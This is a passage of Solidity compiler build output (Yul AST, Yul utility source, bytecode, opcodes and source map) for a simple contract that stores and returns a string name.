"nodeType": "YulIdentifier", | |
"src": "3380:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "lastValue", | |
"nodeType": "YulIdentifier", | |
"src": "3392:9:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3419:1:1", | |
"type": "", | |
"value": "3" | |
}, | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "3422:6:1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "3415:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3415:14:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3431:3:1", | |
"type": "", | |
"value": "248" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "3411:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3411:24:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3441:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "3437:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3437:6:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "3407:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3407:37:1" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "3403:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3403:42:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "3388:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3388:58:1" | |
} | |
], | |
"functionName": { | |
"name": "sstore", | |
"nodeType": "YulIdentifier", | |
"src": "3373:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3373:74:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3373:74:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "loopEnd", | |
"nodeType": "YulIdentifier", | |
"src": "3266:7:1" | |
}, | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "3275:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "3263:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3263:19:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "3260:201:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulIdentifier", | |
"src": "3481:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3495:1:1", | |
"type": "", | |
"value": "1" | |
}, | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "3498:6:1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "3491:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3491:14:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3507:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3487:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3487:22:1" | |
} | |
], | |
"functionName": { | |
"name": "sstore", | |
"nodeType": "YulIdentifier", | |
"src": "3474:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3474:36:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3474:36:1" | |
} | |
] | |
}, | |
"nodeType": "YulCase", | |
"src": "2857:663:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2862:1:1", | |
"type": "", | |
"value": "1" | |
} | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3537:234:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "3551:14:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3564:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "3555:5:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3600:67:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3618:35:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "3637:3:1" | |
}, | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "3642:9:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3633:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3633:19:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "3627:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3627:26:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "3618:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "3581:6:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "3578:89:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulIdentifier", | |
"src": "3687:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "3746:5:1" | |
}, | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "3753:6:1" | |
} | |
], | |
"functionName": { | |
"name": "extract_used_part_and_set_length_of_short_byte_array", | |
"nodeType": "YulIdentifier", | |
"src": "3693:52:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3693:67:1" | |
} | |
], | |
"functionName": { | |
"name": "sstore", | |
"nodeType": "YulIdentifier", | |
"src": "3680:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3680:81:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3680:81:1" | |
} | |
] | |
}, | |
"nodeType": "YulCase", | |
"src": "3529:242:1", | |
"value": "default" | |
} | |
], | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "2837:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2845:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "2834:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2834:14:1" | |
}, | |
"nodeType": "YulSwitch", | |
"src": "2827:944:1" | |
} | |
] | |
}, | |
"name": "copy_byte_array_to_storage_from_t_string_memory_ptr_to_t_string_storage", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulTypedName", | |
"src": "2506:4:1", | |
"type": "" | |
}, | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "2512:3:1", | |
"type": "" | |
} | |
], | |
"src": "2425:1352:1" | |
} | |
] | |
}, | |
"contents": "{\n { }\n function panic_error_0x41()\n {\n mstore(0, shl(224, 0x4e487b71))\n mstore(4, 0x41)\n revert(0, 0x24)\n }\n function abi_decode_tuple_t_string_memory_ptr_fromMemory(headStart, dataEnd) -> value0\n {\n let _1 := 32\n if slt(sub(dataEnd, headStart), _1) { revert(0, 0) }\n let offset := mload(headStart)\n let _2 := sub(shl(64, 1), 1)\n if gt(offset, _2) { revert(0, 0) }\n let _3 := add(headStart, offset)\n if iszero(slt(add(_3, 0x1f), dataEnd)) { revert(0, 0) }\n let _4 := mload(_3)\n if gt(_4, _2) { panic_error_0x41() }\n let _5 := not(31)\n let memPtr := mload(64)\n let newFreePtr := add(memPtr, and(add(and(add(_4, 0x1f), _5), 63), _5))\n if or(gt(newFreePtr, _2), lt(newFreePtr, memPtr)) { panic_error_0x41() }\n mstore(64, newFreePtr)\n mstore(memPtr, _4)\n if gt(add(add(_3, _4), _1), dataEnd) { revert(0, 0) }\n let i := 0\n for { } lt(i, _4) { i := add(i, _1) }\n {\n mstore(add(add(memPtr, i), _1), mload(add(add(_3, i), _1)))\n }\n mstore(add(add(memPtr, _4), _1), 0)\n value0 := memPtr\n }\n function extract_byte_array_length(data) -> length\n {\n length := shr(1, data)\n let outOfPlaceEncoding := and(data, 1)\n if iszero(outOfPlaceEncoding) { length := and(length, 0x7f) }\n if eq(outOfPlaceEncoding, lt(length, 32))\n {\n mstore(0, shl(224, 0x4e487b71))\n mstore(4, 0x22)\n revert(0, 0x24)\n }\n }\n function array_dataslot_string_storage(ptr) -> data\n {\n mstore(0, ptr)\n data := keccak256(0, 0x20)\n }\n function clean_up_bytearray_end_slots_string_storage(array, len, startIndex)\n {\n if gt(len, 31)\n {\n let _1 := 0\n mstore(_1, array)\n let data := keccak256(_1, 0x20)\n let deleteStart := add(data, shr(5, add(startIndex, 31)))\n if lt(startIndex, 0x20) { deleteStart := data }\n let _2 := add(data, shr(5, add(len, 31)))\n let start := deleteStart\n for { } lt(start, _2) { start := add(start, 1) }\n { sstore(start, _1) }\n }\n }\n function extract_used_part_and_set_length_of_short_byte_array(data, len) -> used\n {\n used := or(and(data, not(shr(shl(3, len), not(0)))), shl(1, len))\n }\n function copy_byte_array_to_storage_from_t_string_memory_ptr_to_t_string_storage(slot, src)\n {\n let newLen := mload(src)\n if gt(newLen, sub(shl(64, 1), 1)) { panic_error_0x41() }\n clean_up_bytearray_end_slots_string_storage(slot, extract_byte_array_length(sload(slot)), newLen)\n let srcOffset := 0\n let srcOffset_1 := 0x20\n srcOffset := srcOffset_1\n switch gt(newLen, 31)\n case 1 {\n let loopEnd := and(newLen, not(31))\n let dstPtr := array_dataslot_string_storage(slot)\n let i := 0\n for { } lt(i, loopEnd) { i := add(i, srcOffset_1) }\n {\n sstore(dstPtr, mload(add(src, srcOffset)))\n dstPtr := add(dstPtr, 1)\n srcOffset := add(srcOffset, srcOffset_1)\n }\n if lt(loopEnd, newLen)\n {\n let lastValue := mload(add(src, srcOffset))\n sstore(dstPtr, and(lastValue, not(shr(and(shl(3, newLen), 248), not(0)))))\n }\n sstore(slot, add(shl(1, newLen), 1))\n }\n default {\n let value := 0\n if newLen\n {\n value := mload(add(src, srcOffset))\n }\n sstore(slot, extract_used_part_and_set_length_of_short_byte_array(value, newLen))\n }\n }\n}", | |
"id": 1, | |
"language": "Yul", | |
"name": "#utility.yul" | |
} | |
], | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610054565b5f610039828261019c565b5050610257565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610065575f80fd5b82516001600160401b038082111561007b575f80fd5b818501915085601f83011261008e575f80fd5b8151818111156100a0576100a0610040565b604051601f8201601f19908116603f011681019083821181831017156100c8576100c8610040565b8160405282815288868487010111156100df575f80fd5b5f93505b8284101561010057848401860151818501870152928501926100e3565b5f86848301015280965050505050505092915050565b600181811c9082168061012a57607f821691505b60208210810361014857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610197575f81815260208120601f850160051c810160208610156101745750805b601f850160051c820191505b8181101561019357828155600101610180565b5050505b505050565b81516001600160401b038111156101b5576101b5610040565b6101c9816101c38454610116565b8461014e565b602080601f8311600181146101fc575f84156101e55750858301515b5f19600386901b1c1916600185901b178555610193565b5f85815260208120601f198616915b8281101561022a5788860151825594840194600190910190840161020b565b508582101561024757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b61018f806102645f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c806306fdde031461002d575b5f80fd5b61003561004b565b60405161004291906100d6565b60405180910390f35b5f805461005790610121565b80601f016020809104026020016040519081016040528092919081815260200182805461008390610121565b80156100ce5780601f106100a5576101008083540402835291602001916100ce565b820191905f5260205f20905b8154815290600101906020018083116100b157829003601f168201915b505050505081565b5f6020808352835180828501525f5b81811015610101578581018301518582016040015282016100e5565b505f604082860101526040601f19601f8301168501019250505092915050565b600181811c9082168061013557607f821691505b60208210810361015357634e487b7160e01b5f52602260045260245ffd5b5091905056fea2646970667358221220789e205b9ce7f18f9920b3f449edea3f2fac4a3fe3c396cbea0e9a07a6a9a17d64736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x3F3 CODESIZE SUB DUP1 PUSH2 0x3F3 DUP4 CODECOPY DUP2 ADD PUSH1 0x40 DUP2 SWAP1 MSTORE PUSH2 0x2E SWAP2 PUSH2 0x54 JUMP JUMPDEST PUSH0 PUSH2 0x39 DUP3 DUP3 PUSH2 0x19C JUMP JUMPDEST POP POP PUSH2 0x257 JUMP JUMPDEST PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH0 PUSH1 0x20 DUP1 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x65 JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP3 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0x40 SHL SUB DUP1 DUP3 GT ISZERO PUSH2 0x7B JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP2 DUP6 ADD SWAP2 POP DUP6 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x8E JUMPI PUSH0 DUP1 REVERT JUMPDEST DUP2 MLOAD DUP2 DUP2 GT ISZERO PUSH2 0xA0 JUMPI PUSH2 0xA0 PUSH2 0x40 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x1F DUP3 ADD PUSH1 0x1F NOT SWAP1 DUP2 AND PUSH1 0x3F ADD AND DUP2 ADD SWAP1 DUP4 DUP3 GT DUP2 DUP4 LT OR ISZERO PUSH2 0xC8 JUMPI PUSH2 0xC8 PUSH2 0x40 JUMP JUMPDEST DUP2 PUSH1 0x40 MSTORE DUP3 DUP2 MSTORE DUP9 DUP7 DUP5 DUP8 ADD ADD GT ISZERO PUSH2 0xDF JUMPI PUSH0 DUP1 REVERT JUMPDEST PUSH0 SWAP4 POP JUMPDEST DUP3 DUP5 LT ISZERO PUSH2 0x100 JUMPI DUP5 DUP5 ADD DUP7 ADD MLOAD DUP2 DUP6 ADD DUP8 ADD MSTORE SWAP3 DUP6 ADD SWAP3 PUSH2 0xE3 JUMP JUMPDEST PUSH0 DUP7 DUP5 DUP4 ADD ADD MSTORE DUP1 SWAP7 POP POP POP POP POP POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x1 DUP2 DUP2 SHR SWAP1 DUP3 AND DUP1 PUSH2 0x12A JUMPI PUSH1 0x7F DUP3 AND SWAP2 POP JUMPDEST PUSH1 0x20 DUP3 LT DUP2 SUB PUSH2 0x148 JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x22 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x1F DUP3 GT ISZERO PUSH2 0x197 JUMPI PUSH0 DUP2 DUP2 MSTORE PUSH1 0x20 DUP2 KECCAK256 PUSH1 0x1F DUP6 ADD PUSH1 0x5 SHR DUP2 ADD PUSH1 0x20 DUP7 LT ISZERO PUSH2 0x174 JUMPI POP DUP1 JUMPDEST PUSH1 0x1F DUP6 ADD PUSH1 0x5 SHR DUP3 ADD SWAP2 POP JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0x193 JUMPI DUP3 DUP2 SSTORE PUSH1 0x1 ADD PUSH2 0x180 JUMP JUMPDEST POP POP POP JUMPDEST POP POP POP JUMP JUMPDEST DUP2 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0x40 SHL SUB DUP2 GT ISZERO PUSH2 0x1B5 JUMPI PUSH2 0x1B5 PUSH2 0x40 JUMP JUMPDEST PUSH2 0x1C9 DUP2 PUSH2 0x1C3 DUP5 SLOAD PUSH2 0x116 JUMP JUMPDEST DUP5 PUSH2 0x14E JUMP JUMPDEST PUSH1 0x20 DUP1 PUSH1 0x1F DUP4 GT PUSH1 0x1 DUP2 EQ PUSH2 0x1FC JUMPI PUSH0 DUP5 ISZERO PUSH2 0x1E5 JUMPI POP DUP6 DUP4 ADD MLOAD JUMPDEST PUSH0 NOT PUSH1 0x3 DUP7 SWAP1 SHL SHR NOT AND PUSH1 0x1 DUP6 SWAP1 SHL OR DUP6 SSTORE PUSH2 0x193 JUMP JUMPDEST PUSH0 DUP6 DUP2 MSTORE PUSH1 0x20 DUP2 KECCAK256 PUSH1 0x1F NOT DUP7 AND SWAP2 JUMPDEST DUP3 DUP2 LT ISZERO PUSH2 0x22A JUMPI DUP9 DUP7 ADD MLOAD DUP3 SSTORE SWAP5 DUP5 ADD SWAP5 PUSH1 0x1 SWAP1 SWAP2 ADD SWAP1 DUP5 ADD PUSH2 0x20B JUMP JUMPDEST POP DUP6 DUP3 LT ISZERO PUSH2 0x247 JUMPI DUP8 DUP6 ADD MLOAD PUSH0 NOT PUSH1 0x3 DUP9 SWAP1 SHL PUSH1 0xF8 AND SHR NOT AND DUP2 SSTORE JUMPDEST POP POP POP POP POP PUSH1 0x1 SWAP1 DUP2 SHL ADD SWAP1 SSTORE POP JUMP JUMPDEST PUSH2 0x18F DUP1 PUSH2 0x264 PUSH0 CODECOPY PUSH0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x29 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x6FDDE03 EQ PUSH2 0x2D JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH2 0x35 PUSH2 0x4B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x42 SWAP2 SWAP1 PUSH2 0xD6 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH0 DUP1 SLOAD PUSH2 0x57 SWAP1 PUSH2 0x121 JUMP JUMPDEST DUP1 PUSH1 0x1F ADD PUSH1 0x20 DUP1 SWAP2 DIV MUL PUSH1 0x20 ADD PUSH1 0x40 MLOAD SWAP1 DUP2 ADD PUSH1 0x40 MSTORE DUP1 SWAP3 SWAP2 SWAP1 DUP2 DUP2 MSTORE PUSH1 0x20 ADD DUP3 DUP1 SLOAD PUSH2 0x83 SWAP1 PUSH2 0x121 JUMP JUMPDEST DUP1 ISZERO PUSH2 0xCE JUMPI DUP1 PUSH1 0x1F LT PUSH2 0xA5 JUMPI PUSH2 0x100 DUP1 DUP4 SLOAD DIV MUL DUP4 MSTORE SWAP2 PUSH1 0x20 ADD SWAP2 PUSH2 0xCE JUMP JUMPDEST DUP3 ADD SWAP2 SWAP1 PUSH0 MSTORE PUSH1 0x20 PUSH0 KECCAK256 SWAP1 JUMPDEST DUP2 SLOAD DUP2 MSTORE SWAP1 PUSH1 0x1 ADD SWAP1 PUSH1 0x20 ADD DUP1 DUP4 GT PUSH2 0xB1 JUMPI DUP3 SWAP1 SUB PUSH1 0x1F AND DUP3 ADD SWAP2 JUMPDEST POP POP POP POP POP DUP2 JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP1 DUP4 MSTORE DUP4 MLOAD DUP1 DUP3 DUP6 ADD MSTORE PUSH0 JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0x101 JUMPI DUP6 DUP2 ADD DUP4 ADD MLOAD DUP6 DUP3 ADD PUSH1 0x40 ADD MSTORE DUP3 ADD PUSH2 0xE5 JUMP JUMPDEST POP PUSH0 PUSH1 0x40 DUP3 DUP7 ADD ADD MSTORE PUSH1 0x40 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND DUP6 ADD ADD SWAP3 POP POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x1 DUP2 DUP2 SHR SWAP1 DUP3 AND DUP1 PUSH2 0x135 JUMPI PUSH1 0x7F DUP3 AND SWAP2 POP JUMPDEST PUSH1 0x20 DUP3 LT DUP2 SUB PUSH2 0x153 JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x22 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH25 0x9E205B9CE7F18F9920B3F449EDEA3F2FAC4A3FE3C396CBEA0E SWAP11 SMOD 0xA6 0xA9 LOG1 PUSH30 0x64736F6C6343000814003300000000000000000000000000000000000000 ", | |
"sourceMap": "267:115:0:-:0;;;316:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;359:4;:12;366:5;359:4;:12;:::i;:::-;;316:63;267:115;;14:127:1;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:1042;226:6;257:2;300;288:9;279:7;275:23;271:32;268:52;;;316:1;313;306:12;268:52;343:16;;-1:-1:-1;;;;;408:14:1;;;405:34;;;435:1;432;425:12;405:34;473:6;462:9;458:22;448:32;;518:7;511:4;507:2;503:13;499:27;489:55;;540:1;537;530:12;489:55;569:2;563:9;591:2;587;584:10;581:36;;;597:18;;:::i;:::-;672:2;666:9;640:2;726:13;;-1:-1:-1;;722:22:1;;;746:2;718:31;714:40;702:53;;;770:18;;;790:22;;;767:46;764:72;;;816:18;;:::i;:::-;856:10;852:2;845:22;891:2;883:6;876:18;931:7;926:2;921;917;913:11;909:20;906:33;903:53;;;952:1;949;942:12;903:53;974:1;965:10;;984:129;998:2;995:1;992:9;984:129;;;1086:10;;;1082:19;;1076:26;1055:14;;;1051:23;;1044:59;1009:10;;;;984:129;;;1155:1;1150:2;1145;1137:6;1133:15;1129:24;1122:35;1176:6;1166:16;;;;;;;;146:1042;;;;:::o;1193:380::-;1272:1;1268:12;;;;1315;;;1336:61;;1390:4;1382:6;1378:17;1368:27;;1336:61;1443:2;1435:6;1432:14;1412:18;1409:38;1406:161;;1489:10;1484:3;1480:20;1477:1;1470:31;1524:4;1521:1;1514:15;1552:4;1549:1;1542:15;1406:161;;1193:380;;;:::o;1704:545::-;1806:2;1801:3;1798:11;1795:448;;;1842:1;1867:5;1863:2;1856:17;1912:4;1908:2;1898:19;1982:2;1970:10;1966:19;1963:1;1959:27;1953:4;1949:38;2018:4;2006:10;2003:20;2000:47;;;-1:-1:-1;2041:4:1;2000:47;2096:2;2091:3;2087:12;2084:1;2080:20;2074:4;2070:31;2060:41;;2151:82;2169:2;2162:5;2159:13;2151:82;;;2214:17;;;2195:1;2184:13;2151:82;;;2155:3;;;1795:448;1704:545;;;:::o;2425:1352::-;2545:10;;-1:-1:-1;;;;;2567:30:1;;2564:56;;;2600:18;;:::i;:::-;2629:97;2719:6;2679:38;2711:4;2705:11;2679:38;:::i;:::-;2673:4;2629:97;:::i;:::-;2781:4;;2845:2;2834:14;;2862:1;2857:663;;;;3564:1;3581:6;3578:89;;;-1:-1:-1;3633:19:1;;;3627:26;3578:89;-1:-1:-1;;2382:1:1;2378:11;;;2374:24;2370:29;2360:40;2406:1;2402:11;;;2357:57;3680:81;;2827:944;;2857:663;1651:1;1644:14;;;1688:4;1675:18;;-1:-1:-1;;2893:20:1;;;3011:236;3025:7;3022:1;3019:14;3011:236;;;3114:19;;;3108:26;3093:42;;3206:27;;;;3174:1;3162:14;;;;3041:19;;3011:236;;;3015:3;3275:6;3266:7;3263:19;3260:201;;;3336:19;;;3330:26;-1:-1:-1;;3419:1:1;3415:14;;;3431:3;3411:24;3407:37;3403:42;3388:58;3373:74;;3260:201;-1:-1:-1;;;;;3507:1:1;3491:14;;;3487:22;3474:36;;-1:-1:-1;2425:1352:1:o;:::-;267:115:0;;;;;;" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": { | |
"@name_30": { | |
"entryPoint": 75, | |
"id": 30, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed": { | |
"entryPoint": 214, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"extract_byte_array_length": { | |
"entryPoint": 289, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:949:1", | |
"statements": [ | |
{ | |
"nodeType": "YulBlock", | |
"src": "6:3:1", | |
"statements": [] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "135:427:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "145:12:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "155:2:1", | |
"type": "", | |
"value": "32" | |
}, | |
"variables": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulTypedName", | |
"src": "149:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "173:9:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "184:2:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "166:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "166:21:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "166:21:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "196:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "216:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "210:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "210:13:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "200:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "243:9:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "254:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "239:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "239:18:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "259:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "232:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "232:34:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "232:34:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "275:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "284:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "279:1:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "344:90:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "373:9:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "384:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "369:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "369:17:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "388:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "365:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "365:26:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "407:6:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "415:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "403:3:1" | |
}, | |
